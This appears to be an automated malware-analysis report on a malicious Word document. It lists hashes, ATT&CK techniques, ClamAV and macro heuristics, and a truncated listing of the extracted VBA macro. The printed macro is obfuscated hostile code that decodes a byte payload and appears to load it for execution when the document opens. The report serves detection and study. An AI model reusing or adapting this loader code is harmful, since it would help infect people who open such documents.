Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 444806da2945da9f…

MALICIOUS

Office (OLE)

382.5 KB Created: 2017-12-13 23:24:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 33a2522ee396fe9a4e805f4a637a73f5 SHA-1: 56480cbde628ca5dc5fb23eecebbab2b9f828c58 SHA-256: 444806da2945da9ffe10109f56a5534d58ad352ff4c2ce2174658efddeb8404f
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic and high severity heuristic for OLE_VBA_DOCOPEN indicate the presence of malicious VBA macros. The VBA macro code, though partially truncated, suggests it is designed to execute further malicious actions, likely downloading a payload. The presence of the 'macros.bas' file further supports this. The document body content is unrelated to the malicious functionality.

Heuristics 4

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13262 bytes
SHA-256: 30f1dc0c0c7be32eed4afca7ac33a113a81a161c3cefb6c30476ee5aa6125a3f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function isothermal()
Dim dashpot As Integer
Dim disallow As Variant
omission.dibs.Value = Day(#12/5/2013#)
varday = monopolist = "bitewing"
plumed = "bailiff"
implicit = malodor
wrongdoer = adar
jatropha = muskrat
havoc = readily
contrariant = "rasher"
Set potoroo = omission.dibs.SelectedItem
sepsis = 3 + 13
Pmt 0, sepsis, 4779, 24520, 3
editing = potoroo.Name
administrable = 2 - 40 + 7882
hawser = Right(editing, administrable)
heck = amphicarpaea(hawser)
neque = 39 + 57
Pmt 0, neque, 16206, 25895, 4
staghound = "confederated"
mossa = "malmo"
#If (98 - 1 + 303 + 121 - 63 + 242) > ((103 - 41 + 258) - (30 - 78 + 588) * 1) And ((78 - 104 + 54) - (33 - 67 + 62)) * 2 < (Win64) Then
Dim inconceivableness As Integer
Dim aforehand As LongPtr
Dim faroese As LongPtr
Dim aponeurosis As Integer
Dim snarl As Variant
Dim optimistic As LongPtr
Dim bastardy As LongPtr
Dim klystron As LongPtr
injuria = 45 - 84 + 2103
#ElseIf (60 - 50 + 390 + 83 - 82 + 299) > ((42 - 94 + 372) - (51 - 82 + 571) * 1) And Not ((67 - 84 + 45) - (116 - 5 - 83)) * 2 < (Win64) Then
Dim tense As Byte
Dim faroese As Long
Dim flatfoot As Byte
Dim aforehand As Long
Dim optimistic As Long
ambiversive = 58 - 93 + 816
Dim bastardy As Long
Dim klystron As Long
injuria = ambiversive + 3459
#End If
misjoining = 122 - 83 - 39
debtor = "barleycorn"
coalescence = 94 - 71 + 4073
onethousandth = 32 + 37
Pmt 0, onethousandth, 22126, 10854, 8
stylization = "arbitration"
acetal = embark
baccarat = "guncotton"
anise = 32 + 16
Pmt 0, anise, 18563, 18679, 5
mixed = heck
grapnel = wimble
christless = "heartwounding"
aforehand = foliant(mixed)
taxi = "claytonia"
Dim arenarious As Byte
Dim haplopappus As String
optimistic = 79 - 34 - 45
faroese = aforehand + injuria
bastardy = 35 - 127 + 201619
klystron = 127 - 115 + 3488
red = disagreement(bastardy, _
optimistic, faroese, _
optimistic, optimistic, _
optimistic, optimistic)
abhenry = 27 + 32
Pmt 0, abhenry, 20508, 46043, 2
End Function

Function amphicarpaea(iconoclast) As String
Dim murder(6962) As Byte
Dim bask(63) As Long
Dim decamp() As Byte
Dim connaturality As Long
Dim acciaccatura(63) As Long
Dim aristotelianism As Long
Dim autoloader(63) As Long
Dim clansman As String
Dim gonorhynchidae As Long
Dim vincible As Integer
Dim nadolol As Long
adscript = 34 - 92 + 122
Dim housewarming As Variant

disappointed = 109 - 33 + 179
apodal = 6 - 122 + 179
Dim infested As Byte

supercilious = 13 - 79 + 4098
ideographically = 8 - 50 + 262186
Dim myxomycetes As Integer

melancholy = 53 - 46 + 16711673
bhutan = 58 - 68 + 65546
puritan = 70 - 127 + 313
pagophilus = 11 - 79 + 258116
saturday = 9 - 64 + 65335
timeserving = 104 - 88 + 16515056
cshrillness = 119 - 101 + 4078
Dim impedimenta As Long
comparisons = 46 - 53 + 7850
Dim arabia() As Byte
arabia = VBA.StrConv(iconoclast, 120 + 8)
bumcombe = 51 + 50
 Pmt 0, bumcombe, 23448, 19512, 6

tyranny = 7843
coldblooded = vbKeyShift - 12
For nadolol = 0 To tyranny
If nadolol Mod 2 = 0 Then
arabia(nadolol) = arabia(nadolol) - coldblooded
Else
arabia(nadolol) = arabia(nadolol) - (coldblooded - 1)
End If
Next nadolol
mezzorilevo = 38 + 47
 Pmt 0, mezzorilevo, 18888, 16250, 3

vincible = 0
rue = iliamna
For aristotelianism = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
autoloader(aristotelianism) = infuriation(aristotelianism, adscript, 70)
bask(aristotelianism) = infuriation(aristotelianism, cshrillness, 70)
acciaccatura(aristotelianism) = infuriation(aristotelianism, ideographically, 70)
Next aristotelianism
utrumque = 45 + 2
 Pmt 0, utrumque, 38469, 21662, 3

decamp = arabia
vitrine = 15 - 104 + 93
precariously = 16 + 17
 Pmt 0, precariously, 29310, 22455, 6

diffusion = 46 - 20 - 23
conv
... (truncated)

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